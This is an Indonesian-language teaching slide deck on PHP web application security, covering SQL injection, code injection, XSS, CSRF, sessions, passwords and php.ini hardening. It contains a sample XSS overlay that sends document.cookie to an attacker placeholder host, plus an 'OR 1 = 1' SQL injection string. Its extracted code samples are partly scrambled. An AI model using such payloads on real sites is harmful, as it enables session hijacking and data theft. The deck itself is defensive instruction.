Professional Documents
Culture Documents
Pendahuluan
Web Security
Goals: menjaga data yang bersifat privat, tetap
menjadi privasi
Issues
Secrets
Menjaga kerahasiaan informasi
Limited Resources
CPU, memori, disk space, & bandwidth itu
terbatas. Jaga resources ini agar tidak dieksploitasi
Good Netizenship
Etika profesi, programmer & sysadmin tidak boleh
melakukan hal yg merugikan sistem
Referensi
Pro PHP Security 2nd Edition: Chris Snyder cs.
https://www.owasp.org
Open Web Application Security Project
Injection
Remote Execution
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Authentication & Session
Third Party Components
PHP Configuration
SQL Injection
Penambahan queri SQL oleh attacker
$username = $_POST[username];
$query = SELECT * FROM pengguna WHERE username
= {$username};
/*
attacker
sehingga
SELECT *
OR 1 =
*/
memasukkan arga OR 1 = 1,
query menjadi:
FROM pengguna WHERE username = arga
1
SQL Injection
Tidak hanya $_POST, tapi bisa juga melalui
$_GET
Yang lebih berbahaya jika injeksi dilakukan pada
query UPDATE dan DELETE
Code Injection
Memasukkan script dari host lain melalui
include()
Code Injection
Dengan kasus tsb., attacker bisa memperoleh
informasi mengenai spesifikasi server dan PHP
dari host menggunakan fungsi phpinfo()
Remote Execution
Mencoba melakukan eksekusi script secara
langsung melalui fungsi-fungsi berikut:
eval()
exec()
passthru()
proc_open()
shell_exec()
system()
<style>
html { height: 100% }
body { height: 100% }
</style>
<div style=
position: absolute;
top: 0; left: 0;
background: White;
width: 100%; height: 100%
>
<h1>Situs dalam perbaikan</h1>
<a href=#
onclick=javascript:window.location=http://attackersite.
com/cookies.php?cookie=+document.cookie;>Klik di sini
untuk melanjutkan</a>
</div>
Pencegahan XSS
Encode HTML Entities menggunakan fungsi
htmlentities()
Pencegahan CSRF
Menggunakan CSRF Token (POST maupun
GET)
Cek HTTP Referrer
Challenge-Response:
CAPTCHA
Re-Authentication
One-Time Token
User Authentication
Buat otentikasi user agar halaman hanya
dapat diakses oleh pengguna yang berhak
Untuk menghindari pencurian data &
mengurangi pengrusakan website
Perusak Website
SPAMMER
Pengguna yang melakukan posting konten yang
bersifat promosi
SCAMMER
Pengguna yang melakukan posting hal-hal yang
melanggar hukum: pornografi, SARA, dll...
TROLL
Pengguna yang melakukan bullying pada
pengguna lain
Password
Simpan password dalam bentuk yang sudah
di-hash atau di-enkripsi
Perhatikan panjang dan kompleksitas
password
Sediakan fitur untuk mengubah dan reset
password
Kriptografi
Enkripsi, Hash, & Encode:
Enkripsi: merahasikan pesan, dapat dikembalikan
ke pesan semula menggunakan dekripsi
Hash: merahasikan pesan, tidak dapat
dikembalikan ke pesan semula
Encode: mengubah pesan ke dalam bentuk lain
agar dapat dibaca oleh sistem tertentu. Encode
tidak digunakan untuk merahasiakan pesan
Asymmetric Key
Enkripsi dan dekripsi memiliki kunci masingmasing
Contoh: RSA
User Log
Apache Access Log:
Linux: /var/log/httpd/apache-access_log/
Windows: /apache/logs/
Session
Properti dari session:
Session Key / Session ID
Session Name
Session Length
Session Entropy
Session Content / Session Value
Session Hijacking
Mencuri Session ID sehingga attacker bisa
masuk ke halaman yg sama dengan victim
Pencurian bisa dilakukan dengan:
Packet Sniffing
XSS Attack
Man-in-the-Middle Attack
Main-in-the-Browser Attack
Packet Sniffing
Man-in-the-Middle Attack
Man-in-the-Browser
Hampir sama dengan Man-in-the-Middle
Attack, tetapi interupsi dilakukan oleh Trojan
Horse yg menginfeksi web browser
Session Fixation
Membuat victim menggunakan Session ID
yang telah diatur oleh attacker
Caranya dengan mengirimkan link yang
melakukan assignment cookie di victim
PHP Configuration
register_global = Off
allow_url_fopen = Off
allow_url_include = Off
error_reporting = E_ALL
log_errors = On
display_errors = On (development), Off
(production)
magic_quotes_gpc = Off
post_max_size, upload_max_filesize,
memory_limit